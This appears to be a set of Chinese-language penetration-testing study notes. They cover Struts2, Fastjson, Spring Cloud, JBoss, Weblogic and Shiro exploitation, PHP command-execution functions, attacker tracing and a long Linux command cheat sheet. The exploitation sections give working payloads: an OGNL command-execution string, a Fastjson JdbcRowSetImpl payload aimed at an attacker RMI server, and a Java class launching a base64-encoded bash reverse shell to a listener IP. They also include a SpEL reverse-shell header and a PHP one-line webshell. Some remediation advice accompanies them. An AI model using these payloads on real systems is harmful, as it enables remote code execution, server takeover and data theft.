debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ipconfig%27%29.getInputStream%28%29%29)
Fastjson
如何判断是否是 fastjson 呢
抓包看如果是json请求,可以尝试构造或破坏原有的 json 请求,从返回包里看是否有 fastjson 字样。 因为fastjson有一个严格的格式才能解析,否则会报错 如果没有报错回显,可以使用 dnslog 进行验证
可以通过后面的 payload 判断 fastjson 的版本信息
Set[ { "@type":"java.net.URL", "val":"http://dnslog" } ]
使用 dnslog 验证
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://dnslog.cn/zcc", "autoCommit":true } }
反序列化
漏洞详情
漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。 攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响
漏洞前提
目标服务器存在 fastjson
没有对用户传输的数据进行严格过滤
漏洞利用
开启抓包确定是不是fastjson框架,通过修改请求包判断是否是fastjson框架 ,因为fastjson有一个严格的格式才能解析,否则会报错
准备一个恶意的类 rmi.class,文件内容见后方展开 使用javac编译 rmi.java文件 生成一个类文件 javac rmi.java
import java.lang.Runtime; import java.lang.Process; public class rmi{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"bash", "-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ0LjE3MC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } } //YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ0LjE3MC82NjY2IDA+JjE= 这个是监听主机的ip地址和端口号
将类文件放到监听的服务器上,使用工具运行 rmi 文件 payload 见后方展开
payload:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.44.170/#rmi" 9999
修改数据包中的 post 请求主体
{"a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.44.170:9999/rmi.class", "autoCommit":true}}
进行端口监听 nc -nvlp 6666
放包即可反弹成功
Spring Cloud
Spring Cloud 简介
Spring Cloud 是一个基于 Spring boot 的开发框架,用于构建和部署分布式系统的解决方案
Spring Cloud 是一个基于 Spring Boot 的开发框架,用于构建和部署分布式系统的解决方案。它提供了一组工具和框架,帮助开发人员快速构建云原生应用程序,并提供强大的服务治理、负载均衡、路由、配置管理等功能。Spring Cloud 能够简化微服务的开发和部署,提高开发效率和软件质量。
SpEL 远程代码执行漏洞(2022)
漏洞详情
当使用路由功能时,用户可以提供特制的SpEL作为路由表达式,这可能导致远程执行代码和访问本地资源
漏洞原理
Spring Cloud 中的 RoutingFunction 类的 apply 方法,将请求头中的 "spring.cloud.function.routiong-expression" 参数作为 SpEL 表达式进行了处理,造成 SpEL 表达式注入,攻击者可以通过调用 runtime().getRuntime()方法执行系统命令,造成远程代码执行或信息泄露
影响版本
3.0.0 <= Spring Cloud Function <= 3.2.2
漏洞利用
抓取数据包
将数据包修改为 POST /functionRuntime,并添加请求头 spring.cloud.function.routiong-expression,在其中添加java代码即可,注意执行 反弹 shell 的时候需要将其base64 编码,否则不能成功,实例 payload 见后方展开
POST /functionRuntime HTTP/1.1 HOST: User-Agent: spring.cloud.function.routiong-expression:T(java.lang.Runtime).getRuntime().exec("bash -c {echo,bash -i &> /dev/tcp/ip/port 0>&1}|{base64,-d}|{bash -i}") 注意:其中的bash -i &> /dev/tcp/ip/port 0>&1 需要base64 编码后上传
漏洞修复
升级到最新版本的 Spring 框架
避免在应用程序中使用 SpEL 表达式或限制其使用。 尽可能使用静态绑定的方式去完成相应功能。
对于需要使用 SpEL 的场景,应该对输入进行严格检查和过滤,只接受规范的、可预测的输入。 在构造 SpEL 表达式时,不应直接将用户输入用作表达式的一部分,应该对输入进行严格验证和编码,以防止注入攻击。
禁用所有不必要的 SpEL 特性并限制 SpEL 允许的操作
Nginx 解析漏洞
原因
Nginx 配置 fastcgi 使用PHP时,会存在文件解析问题
出现这个漏洞的原因与 "在 fastcgi 方式下,PHP 获取环境变量的方式有关" PHP 的配置文件中有一个关键选项:cgi.fix_pathinfo = 1,默认是开启的。在映射URI时,将递归查询路径确认文件的合法性,notexist.php 不存在时,将往前递归查询路径,这个功能原本是想解决 /info.php/test 这种 URL 能够正确解析到 info.php 上,此时 SCRIPT_FILENAME 需要检查文件是否存在,所以会是 /path/test.jpg ;而 PATH_INFO 此时还是 notexist.php,在最终执行的时候,test.jpg 会被当作 PHP 进行解析。
当php遇到文件路径“/aaa.xxx/bbb.yyy/ccc.zzz" 时,若"/aaa.xxx/bbb.yyy/ccc.zzz" 不存在,则会去掉最后的“/ccc.zzz”,然后判断"/aaa.xxx/bbb.yyy”是否存在,若存在,则把“/aaa.xxx/bbb.yyy”当做文件“/aaa.xxx/bbb.yyy/ccc.zzz”
payload
http://www.test.com/path/test.jpg/notexist.php
其中 notexist.php 并不存在,如果在任何配置为 fastcgi 的PHP 应用里上传一张图片,其图片内容是 PHP 文件,则会导致代码执行。其他可以上传的合法文件如文本文件、压缩文件等情况类似
命令执行
命令执行概述
命令与代码执行原理
命令执行原理:设计者在编写代码时没有做严格的安全控制,导致攻击者通过接口或相关参数提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器 。
代码执行原理:没有对对接口输入的内容进行严格判断,造成攻击者精心构造的代码非法执行。
成因
用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码
漏洞分类
SQL注入漏洞命令执行
通用漏洞命令执行
Struts2命令执行
Weblogic命令执行
Fastjson命令执行
Apache
Apache Shiro命令执行
Apache log4j2 命令执行
solr 命令执行
业务系统功能模块
命令执行测试方法
&
&&
|
||
代码审计挖命令执行
(1)执行系统命令: assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号) (2)代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13 (3)文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite (4).htaccess: SetHandler, auto_prepend_file, auto_append_file
执行函数
PHP
system
exec
shell_exec
Java
Runtime
Runtime是一个单例的实例,Runtime 运行应用程序与运行应用程序的环境进行交互,Runtime 是Java运行时环境,应用程序不能创建属于自己的实例,需要通过 getRuntime() 方法获取
Processbuilder
ProcessBulider 用来创建操作系统进程,使用start方法可以重复创建新的子进程
命令执行一般出现那些地方
只要带参数的地方都可能出现命令执行漏洞
常见的路由器、防火墙、入侵检测、自动化运维平台
struts2命令执行漏洞
s2-005、s2-009、s2-013、s2-016、s2-019、devmode、s2-032、s2-037、s2-045、s2-048、s2-052、s2-057
Web框架引起的
Web Server 配置引起的
PHP 安全
反序列化
反序列化简介
就是把一个对象变成可以传输的字符串,目的就是为了方便传输。假设,我们写了一个class,这个class里面存有一些变量。当这个class被实例化了之后,在使用过程中里面的一些变量值发生了改变。以后在某些时候还会用到这个变量,如果我们让这个class一直不销毁,等着下一次要用它的时候再一次被调用的话,浪费系统资源。当我们写一个小型的项目可能没有太大的影响,但是随着项目的壮大,一些小问题被放大了之后就会产生很多麻烦。这个时候PHP就和我们说,你可以把这个对象序列化了,存成一个字符串,当你要用的时候再放他出来就好了。在我们讲PHP反序列化的时候,基本都是围绕着serialize(),unserialize()这两个函数。
反序列化漏洞产生的原理
serialize() 和 unserialize() 在 PHP内部实现上是没有漏洞的,之所以会产生反序列化漏洞是因为应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。 当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的 payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。
反序列化漏洞实验
PHP反序列化漏洞
Jboss反序列化
下载的工具进行检测 java -jar DeserializeExploit.jar
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
原理:Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器进行任何安全检查的情况下将来自客户端的数据流进行反序列化
访问地址:http://192.168.1.102:8080/ 及 http://192.168.1.102:8080/invoker/readonly 返回500说明漏洞存在
下载漏洞利用工具反弹shell: http://scan.javasec.cn/java/JavaDeserH2HC.zip
JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
原理:根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制
还是用工具反弹shell
JBoss远程部署漏洞
原理:后端未对用户可控参数做严格的过滤
危害:导致任意命令执行,入侵者可以利用此漏洞直接获取webshell,进而对整个服务器进行控制
Weblogic反序列化
弱口令 帐号和密码都是weblogic
Java 反序列化漏洞操作(CVE-2018-2628)、 任意文件上传漏洞操作(CVE-2018-2894)、XML Decoder 反序列化漏洞操作(CVE-2017-10271)、SSRF 漏洞(需要安装Weblogic时选择UDDI组件)、反序列化漏洞(CVE-2019-2725、未授权访问
Apache 反序列化
Shiro-550 存在java反序列化
攻击特征
在返回包的 Set-Cookie中存在 rememberMe = deleteMe 字段
漏洞影响
Apache Shiro <= 1.2.4 版本都存在威胁
漏洞原理
漏洞利用的是cookie里的 rememberMe 参数,这个参数的值是AES加密再base64之后设置在cookie中的。在服务端对rememberMe的cookie值的操作应该是先base64解码,然后AES解密,再反序列化,
`问题的关键在于`,AES加密的密钥就在源代码里边,AES是对称加密,所以加密密钥就是解密密钥。攻击者只要得到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化、AES加密、Base64编码,然后将其作为cookie的 RememberMe 字段发送,Shiro 将 其进行解密并反序列化,最终造成反序列化漏洞
防范方法
1. 升级shiro版本
2. 修改文件中硬编码的密钥
3. 临时防范建议:
a.在安全设备尝试拦截爆破流量,及时阻止攻击者进行尝试性攻击
b.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上
c.WAF拦截Cookie中长度过大的rememberMe值
d.WAF拦截访问过于频繁的IP, 因为该漏洞需要爆破Cookie
安全防范
安全配置好php相关参数:通过Php.ini配置文件里面有个disable_functions = 配置,这个禁止某些php函数, 服务器便是用这个来禁止php的执行命令函数
(1)执行系统命令: assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号) (2)代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
升级中间件
严格控制传入变量,严谨使用魔法函数
工具使用
代码审计
代码审计工具
SAST(静态应用安全测试)工具:这类工具会扫描源代码、二进制代码或者字节码等文件,以寻找与安全漏洞有关的代码模式和错误。比较流行的SAST工具包括Fortify、Checkmarx、Veracode等。
DAST(动态应用程序安全测试)工具:这类工具通过模拟黑客攻击来测试应用程序的安全性能。它们实时监控网络流量,并试图发现可能导致安全漏洞的异常行为。比较流行的DAST工具包括Acunetix、Qualys、Netsparker等。
RASP(运行时应用程序自我保护)工具:这类工具在应用程序运行时动态捕获并分析所有输入和输出数据,并实时检测恶意攻击行为。这种工具往往通过修改应用程序逻辑以自动识别和防止安全问题的产生。比较流行的RASP工具包括Contrast、F5、Sqreen等。
开源代码审计工具:这些工具通常可用于静态应用程序安全测试。它们可以通过检查代码中的特定模式、语句和函数来识别漏洞,并生成包含所有发现漏洞的报告。一些主要的开源代码审计工具包括Bandit、FindSecBugs、Brakeman等。
危险组件检测
查看pom.xml
pom.xml介绍
该文件用于管理:源代码、配置文件、开发者的信息和角色、问题追踪系统、组织信息、项目授权、项目的url、项目的依赖关系等等。
一个完整的pom.xml文件,放置在项目的根目录下。
安全组件版本
1.fastjson安全版本
要求在1.2.80以上
2.shiro安全版本:1.8.0
(1)在1.8.0之前当将Apache Shiro与Spring Boot配合使用时,特制的http请求可能会导致身份验证绕过
(2)在1.7.1之前,当Apache Shiro与Spring 一起使用时,特制的http请求可能会导致身份验证绕过
(3)在1.7.0之前版本存在身份验证绕过漏洞,特制的http请求可能会导致身份验证绕过
3.Log4j2安全版本
(1)Java8 以上 >=2.17.1
(2)Java7 以上 >=2.12.4
(3)Java6 以上 >=2.3.2
4.Xstream 安全版本
1.4.14以上
java
命令执行
runtime()
可以使用 runtime.getRuntime() 方法获取当前应用程序的运行实例,并调用其 exec() 方法执行系统命令,示例代码见后方展开
String command = "ls -l"; try { Process process = Runtime.getRuntime().exec(command); }catch(IOException e ){ e.printstackTrace(); }
ProcessBuilder()
使用 ProcessBuilder 类执行系统命令时比较负责,需要先创建一个 processbuilder 对象,并设置需要执行的命令及其参数。然后通过调用 start() 方法来启动新进程,并返回一个 Process 对象,由这个对象提供有关进程的信息以及允许操作该进程的方法; 实例代码见后方展开
String[] command = {"ls","-al"}; ProcessBuilder pb = new ProcessBuilder(command); pb.directory(new File("/home/user")); // 设置工作目录 // 重定向输出和错误流 pb.redirectErrorStream(trun); pb.redirectOutput(ProcessBuilder.Redirect.INHERIT); // 启动子进程 Process p = pb.start(); // 等待子进程执行完毕 int exitValue = p.waitFor();
PHP
命令执行
简介
通过调用PHP中的命令执行函数,且函数中的参数是用户可控的,就可能造成命令执行
一句话木马示例
最常见的PHP一句话木马 <?php system($_REQUEST['value'])?> 通过 system() 函数将前端传入的值当作系统命令执行,其中 value 参数就是由前端传入的
命令执行的相关函数
exec()
shell_exec()
反引号``就是使用的 shell_exec()函数
system()
popen()
passthru()
proc_open()
pcntl_exec()
函数详解
exec()
简介
可以执行命令并返回输出结果的函数。 当使用exec()函数执行命令时,命令将在系统(或服务器)上运行,并且命令的任何输出都会被捕获并存储在output数组中。如果command参数中指定的命令成功完成,则该函数将返回由命令产生的最后一行内容
语法
string exec(string command [, array &output [, int &$return_var]])
command参数是要执行的命令; output参数是一个可选的数组,用于存储命令执行后产生的任何输出内容; $return_var参数是一个可选的整数变量,用于存储命令的返回值
该函数无回显,所以后端服务器中需要有 echo 进行输出,才会在前端显示,但是 exec() 方法的返回结果也只有最后一行的结果
示例代码
<?php $sys = $_REQUEST['value']; $cmd = exec($sys); echo $cmd; ?>
payload
http://www.xxxx.com/demo.php?value=whoami
其中的 value 值会被执行
shell_exec()
简介
执行命令并将结果作为字符串返回的函数。 使用shell_exec()函数执行命令时,命令将在系统(或服务器)上运行,并且命令输出的所有内容都将作为字符串返回。如果命令执行失败或不产生任何输出,则该函数将返回NULL值。
语法
string shell_exec(string $command)
该函数无回显,需要在后端服务器有 echo 或 var_dump() 进行输出,才会在前端显示,它显示的是所有内容
示例代码
<?php $sys = $_REQUEST['value']; $cmd = shell_exec($sys); var_dump($cmd); ?>
<?php $sys = $_REQUEST['value']; $cmd = `$sys`; var_dump($cmd); ?>
payload
system()
简介
system()是一种执行指定命令并将输出直接打印到当前页面的函数
语法
string system(string $command [, int &$return_value])
其中command参数是要执行的系统命令; return_value参数是一个整数变量,用于存储命令的返回值。
此函数有回显且返回所有内容。 如果目标是 Linux 就执行 bash 命令 如果目标是 Windows 就执行 cmd 命令
示例代码
<?php $sys = $_REQUEST['value']; $cmd = system($sys); ?>
payload
http://www.xxxx.com/demo.php?value=ipconfig
其中的 value 值会被执行
popen()
简介
popen()是一种打开进程文件指针的函数,这个函数可以用于建立一个到另外一个进程的管道。popen()返回的是一个文件指针,并且允许你可以像操作普通文件一样来读取或写入子进程的数据
语法
resource popen ( string $command , string $mode )
$command 参数是需要执行的命令, $mode参数是打开文件的模式,必须是 "r" 或 "w" 中的一个.
当使用popen()函数时,该函数将会创建一个子进程来执行给定的命令,同时打开文件指针来对子进程输出的内容进行操作。如果打开文件指针成功,popen()将返回一个资源类型的变量,表示已打开文件的指针,您可以通过这个指针来读取子进程的输出,或者向子进程输入指令来控制其行为。注意,popen()不会等待子进程的执行结果,您需要自己控制命令何时开始执行和何时结束执行
示例代码
<?php $sys = $_REQUEST['value']; $cmd = popen($sys,'r'); $output = ''; while (!feof($cmd)) { $output .= fread($cmd, 1024); } echo $output; pclose($cmd); ?>
$output 用于创建一个待写入输出的空变量; while循环用于将 popen() 的执行结果输出流中的内容写入 output 中, feof 用于判断指针是否移动到输出流的末尾,如果到末尾了就输出 true,否则是 false,所以这里是 !feof($cmd); .= 表示字符串追加并赋值 fread() 用于从数据流中读取数据,1024是指一次最多读取1024byte pclose() 用于关闭打开的资源
payload
http://www.xxxx.com/demo.php?value=ipconfig
其中的 value 值会被执行
passthru()
简介
passthru()函数是一种执行系统命令并输出结果直接传送到浏览器的函数
语法
void passthru(string $command [, int &$return_value])
其中command参数是要执行的系统命令; return_value参数是一个整数变量,用于存储命令的返回值。
当使用passthru()函数执行命令时,命令将在系统(或服务器)上运行,并且命令的任何输出都会直接传送到浏览器上。如果命令没有输出,则该函数将不会产生任何结果。
示例代码
<?php $sys = $_REQUEST['value']; $cmd = passthru($sys); ?>
payload
http://www.xxxx.com/demo.php?value=ipconfig
其中的 value 值会被执行
proc_open()
简介
proc_open() 是一个用于创建进程的函数。它提供了更为灵活、功能更全面的创建子进程的方法
语法
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )
$cmd 参数是要执行的命令或脚本, $descriptorspec 参数是一个数组,用于描述进程的3个标准 I/O 数据流(stdin、stdout 和 stderr)。在这个数组中,每个数组元素都是一个数组,其中第一个元素是文件指针,指向对应数据流的输入/输出源,第二个元素是描述符类型,可以是‘pipe’表示开启管道或 ‘file’ 表示打开一个文件流,第三个元素是标志位,用于设置如何进行I/O传输。 $other_options 参数是一个可选参数,包含一些其他选项。另外两个可选参数则指定新进程的工作目录和环境变量
通过 proc_open() 函数,您可以轻松地创建单独的子进程,并与子进程交互以获取其输出内容并控制其行为。由于其具有较高的灵活性,常见的使用场景包括:批处理任务、命令行交互、shell 脚本执行等
示例代码
函数有点复杂没整明白,实际中看运气吧,如果功能需要把执行结果发回前端,那目标的开发会帮你做好的,如果没有,那你也不能去人家电脑上写代码吧,如果可以为啥不直接写马
payload
示例代码都没整明白,这个只能猜测和前面的差不多,只是由于这个函数也不回显,所以前端大概不会有它的执行结果;他大概会将自己的执行结果存在一个文件里,可以通过请求这个文件查看执行结果
pcntl_exec()
简介
pcntl_exec() 是 PHP 中用于执行外部命令的函数,它与另外两个与其类似的函数 exec() 和 system() 不同的是,它可以直接将当前进程替换为要执行的子进程,从而不需要重新创建新进程。这种方式的好处是可以避免每次调用外部命令都需要重新创建和销毁进程的开销。
语法
bool pcntl_exec(string $path, array $args = [], array $envs = []);
参数 $path 指定要执行的可执行文件路径, 参数 $args 是一个数组类型,保存了所有传递给命令行的参数 参数 $envs 则是环境变量数组。
当 pcntl_exec() 函数被成功调用时,当前进程将立即被指定的可执行文件所替换,并开始在相同的进程空间内运行。也就是说,原有进程上下文和状态、标准输入输出流等都会被完全替换,因此必须谨慎使用。如果调用失败,则会返回 false。 使用 pcntl_exec() 函数直接替换当前进程为指定的可执行文件并执行后,原 PHP 进程已经不存在了。因此,在这种情况下将执行结果传回前端需要其他额外的方法。 这种方法需要用到 proc_open 太复杂了不懂,实际中看运气把,如果功能需要把执行结果发回前端,那目标的开发会帮你做好的,如果没有,那你也不能去人家电脑上写代码吧,如果可以为啥不直接写马
示例代码
高看我了
payload
母鸡,大概和之前一样
溯源
上机排查
攻击溯源手段
攻击IP定位
IDC的ip
CDN的ip
运营商的出口ip
IP查询工具
高精度Ip定位
https://www.opengps.cn/
rtbasia(IP查询)
https://www.cz88.net/iplab
ipplus360(IP查询)
https://www.ipplus360.com/
IP信息查询
https://www.ipip.net/ip.html
IP查询结果分析
IP反查到域名就可以去站长之家或者whois.domaintools.com等网站去查询域名的注册信息:注册人、邮箱、联系电话
IP反查到的域名过多,考虑就是CDN了,没必要继续去查了
普通运营商的出口IP只能使用一些高精度IP定位工具粗略估计攻击者的地址,如果需要具体定位到人,则需要更多的信息
ID追踪手段
蜜罐等安全设备获取攻击者ID
IP反查域名信息获取到的攻击者ID
业务功能日志中抓取到攻击者ID
ID溯源手段
社工库匹配
白帽子信息库比对
威胁情报库匹配
同类ID不同平台的搜索
ID类型
手机号:可直接查询手机号注册信息等
qq邮箱:进行QQ账号搜索、QQ网名搜索与匹配等
微博ID:使用该ID进行论坛、CSDN等平台搜索匹配等
钓鱼邮件反查
通过威胁情报碰撞邮件附件MD5信息和恶意URL程序,并对可能的文件投放到沙箱进行动态监测
反查邮件,追踪发送者的IP位置
恶意程序
恶意程序类型
PDF、DOC文档或者EXE程序等
通过威胁情报碰撞邮件附件MD5信息和恶意URL程序,并对可能的文件投放到沙箱进行动态监测
获取反连的域名等信息进一步定位攻击者
常用的恶意程序分析网站
微步在线云沙箱
https://s.threatbook.cn/
Virustotal
https://www.virustotal.com/gui/home/upload
Anubis
http://anubis.iseclab.org
不好用了
joe
https://www.joesecurity.org/
反渗透VPS
如果通过IP反查,发现Web应用
Web应用界面信息收集:是否是攻击者的个人博客、博客ID、博客主等
对应用进行漏洞挖掘,尝试获取VPS权限,从上面收集一些信息
业务功能等手段
蜜罐业务功能抓取到的攻击者的注册信息,包括手机号、ID等
定位到攻击者IP后,查询该IP在近期内的操作日志,包括注册账号等
发现现场接触式攻击
提供包含确凿证据的详细报告(时间、攻击详情、现场照片、处置结果等)
联动应急处置
内网蜜罐发现探测型告警、源IP为失陷主机、成功发现并处置也可得分
通过攻击者使用工具溯源攻击者,如NC反弹IP、对IP进行反查
溯源攻击路径,攻击者是否通过0day漏洞进入服务器
发现Webshell并处置、处理异常账号、删除恶意邮件等均可得分
Linux
快捷键
自动补全
tab
取消当前操作
Ctrl+c
清屏
Ctrl+L
返回首行
Ctrl+A
返回尾行
Ctrl+E
按单词移动
Ctrl+方向键
把光标到行首的内容剪切/删除
Ctrl+U
把光标到行尾的内容剪切/删除
Ctrl+K
调出上一个命令最后一个【空格】之后的内容
ESC+.
复制
ctrl+insert
粘贴
shift+insert
操作命令
软件包
工具包相关命令
配置官方源更新地址
curl -s -o /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repo
配置第三方 eqel 源更新地址
curl -s -o /etc/yum.repos.d/epel.repo https://mirrors.aliyun.com/repo/epel-7.repo
查看软件包
yum provides 工具包名 -y
安装软件包
yum install 工具包名 -y
lrzsz(文件传输工具)
上传至linux
rz
-E
有同名自动改名
-y
有同名直接覆盖
下载至windows
sz
-E
有同名自动改名
-y
有同名直接覆盖
tree (显示目录的树形结构)
tree -C
颜色显示
tree -f
显示文件全路径
tree-a
显示所有文件,包括隐藏文件
tree
以树形结构显示文件和目录
tree -L n A
显示目录A的n层
VIM(文件编辑工具)
模式切换
编辑模式
进入编辑模式
i I a A
退出编辑模式
ESC
命令模式
进入命令模式
冒号 :
保存
:w
保存
:wq
保存并退出
:wq!
强制保存并退出
退出
:q
退出
:q!
强制退出
向下查找
/字符
按n继续搜索
向上查找
?字符
按n继续搜索
替换
全局替换
:%s/A/B/g
将A替换成B
局部替换
:a,bs/A/B/g
在a-b行的内容中,将A替换成B
快捷键
行尾
$或end
行首
0或Home
文件尾行
shift+G
文件开头行
gg
光标移动到第n行
数字 gg
光标向下移动n行
数字[回车]
复制
yy
复制多行
数字yy
粘贴
p
粘贴于光标所在的下一行
删除
dd
删除多行
数字dd
撤销操作
u
显示行号
:set nu
取消行号
:set nonu
zabbix 工具
监控用户登录工具,每分钟监控
apt(软件包管理器)
1. 更新软件源
`sudo apt update` 此命令会更新系统中已有的所有软件信息
2. 安装软件包
`sudo apt install <packageName>`
3. 升级软件包
`sudo apt upgrade` 注意此命令无法指定软件包,他会自动检查并升级所有安装的软件包,并更新,如果想更新指定软件包可以使用 `install` 它会更新并安装指定软件包
4. 卸载软件包
`sudo apt remave <packageName>` 他会删除指定的软件包及其依赖的其他软件包,但它不会删除配置文件和数据,
如果你想把那些都删除了可以使用 `sudo apt-get remave --purge <packageName>`
5. 删除卸载残留
`sudo apt autoremove` 这个命令同样不能指定软件包,他会删除系统中缺失依赖的软件包和过时的软件包,同样不会删除配置文件和数据,
想删除那些可以使用 `sudo apt-get autoremave --purge`
6. 删除过时软件包
`sudo apt autoclean` 这个命令会清理本地软件包缓存中的过时软件包
7. 搜索软件包
`sudo apt search <packageName>` 会搜索系统仓库中与指定名称相匹配的软件包
8. 列出已安装的软件包
`sudo apt list --install` 列出系统中已经安装的所有软件包
9. 显示详细信息
`sudo apt show <packageName>` 会显示指定软件包的详细信息,包括软件包的版本、描述、依赖关系等内容
yum(软件包管理器)
1. 更新整个系统中的软件包及其依赖项
`yum update`
2. 安装软件包
`yum install packageName` 此命令会自动安装依赖的其他软件包
3. 卸载软件包
`yum remove packageName` 会卸载软件包及其依赖
4. 升级软件包
`yum upgarde` 与 apt 一样,此命令是更新系统中的所有软件包,且不能指定软件包
5. 搜索软件包
`yum search keyword` 搜索与关键字匹配的相应软件包
6. 列出已有软件包
`yum list installed` 列出系统中已安装的所有软件包
7. 搜索软件包的文件
`yum provides fileName` 搜索哪个软件包拥有指定文件
8. 清除缓存
`yum clean all` 清除 yum 缓存,并释放占用的磁盘空间
9. 检查是否有可用的新软件包
`yum check-update` 此命令并不会自动升级或下载任何软件包,只是检查一下
常用命令
查看信息类
安全相关
lastlog
查看各个目录的登录信息
grep
过滤关键词
grep "字符串" 文件位置
-v
取反—选出除“”内的内容
-i
不区分""内的大小写
-n
标示筛选出的内容在原文件中的位置
grep -E "过滤内容(多个 用空格隔开)“ 文件名
从文件中过滤出含有 过滤内容的行 过滤内容之间为或的关系
grep "字符串" 过滤文件名 >>存放文件名
将从 要过滤的文件 中过滤出来的内容写入 要存放的文件中
chattr
文件加锁
+i
加锁 不能删改
对目录加锁的话只能保护其下一级子目录,无法保护更多级子目录
-i
撤销加锁
=i
赋予
a
可以追加内容,但不能删改
-R +i
递归加锁
+i的加强版 可以保护加锁目录下的所有子目录
lsattr
查看文件是否加锁
md5sum
根据文件及文件内容,利用固定的算法生成一串特殊字符
系统信息
网络相关
查看IP地址
ip add
ifconfig
查看网关
ip route
route -n
netstat -rn
查看DNS
cat /etc/sysconfig/network-scripts/ifcfg-eth1
测试网络连通
ping +网站
系统相关
查看时间
date
date +%F
显示年月日
date +%Y
只显示年
date +%y
只显示年
date +%m
只显示月
date +%d
只显示日
date +%H
只显示小时
date +%M
只显示分钟
date +%S
只显示秒
date -s "时间”
修改时间
ntpdate ntp2.aliyun.com
服务器时间和互联网时间同步
查找(二进制命令)所在路径
which +命令
查看系统版本
cat /etc/redhat-release
查看主机名、
hostname
uname -n
查看内核版本
uname -r
查看历史记录
history
history -d 编号
按编号删除历史记录
history -c
删除所有历史记录
history
查看历史记录
用户相关
查看用户登录情况
last
报告所有用户的最近登录情况
lastlog
清除用户的登录信息
lastlog -C -u 用户名
查当前用户
whoami
文件相关
查看文件内容
cat
cat -n
显示文件内容,显示行号
less
回车
一行行向下浏览
空格
一屏屏向下浏览
/mysql
向下 搜索含有 mysql 字符串的内容—按n连续向下搜索
?mysql
向上 搜索含有 mysql 字符串的内容—按n向下搜索
查看文件前几行
head
查看文件前几行
head -n
查看文件前n行
查看文件后几行
tail
查看文件后10行
tail -n
查看文件后n行
tail -f 文件名
跟踪指定文件的尾部变化
文件信息
查看统计信息
stat + 文件名
查看当前路径
pwd
查看文件行数
wc -l
查看目录
ls(白色表示文件;蓝色表示文件夹)
ls -l (ll)
长格式显示目录
ls -a
显示所有文件(包括隐藏文件)
ls -t
按修改时间排序
ls -r
倒序
文件内容过滤
grep
grep "字符串" 文件位置
-v
取反—选出除“”内的内容
-i
不区分""内的大小写
-n
标示筛选出的内容在原文件中的位置
-w
以单词为单位进行搜索
grep -E "过滤内容(多个 用空格隔开)“ 文件名
从文件中过滤出含有 过滤内容的行 过滤内容之间为或的关系
grep "字符串" 过滤文件名 >>存放文件名
将从 要过滤的文件 中过滤出来的内容写入 要存放的文件中
搜索
which
查找二进制文件命令所在的路径
find 查找路径 选项1【参数1】 选项2【参数2】……
普通搜索
-a(默认)
选项的交集
-o
选项的并集
!
搜选项的取反
-name
按文件名/关键词搜索
-type
按文件类型搜索
b
block (buffered) special
块设备 硬盘光驱
c
charatory
字符设备
d
directory
查找目录
f
regular
查找文件
l
symbolic link
软连接 快捷方式
s
socket
和应用程序之间通信有关
-size
按大小搜索
+N m
大于N 兆的
N m
等于N 兆的
-N m
小于N 兆的
-mtime
按修改时间查找
+7
7天之前的
7
之前第七天的
-7
最近7天的
搜索并操作
find …… -exec 命令 {} \; {} 代表查找到的内容 \; 代表后边的命令结束
find …… -exec rm -rf {} \;
find …… | xargs 命令(无需加文件名)
find …… | xargs rm -f
find …… | xargs -i 命令 {} 目标地址 -i 可以在后边用{}接收搜索到的文件
find ……| xargs cp {} 目的地
批量删除文件
用户信息
查看用户信息
id +用户名
whoani
查看当前用户
查看用户登录情况
w
查看用户日志
last
lastlog
lastlog
报告所有用户的最近登录情况
lastlog -C -u 用户名
清理登录用户信息
状态控制类
网络相关
启动网卡
ifup + 网卡名
关闭网卡
ifdown + 网卡名
重启所有网卡
systemctl restart network
图形化配置网卡
nmtui
账号控制
添加用户
useradd +用户名
useradd -u UID 用户名
添加用户名并指定UID
useradd 用户名 -g 组名
添加用户并指定组
useradd 用户名 -M
创建用户但不创建家目录
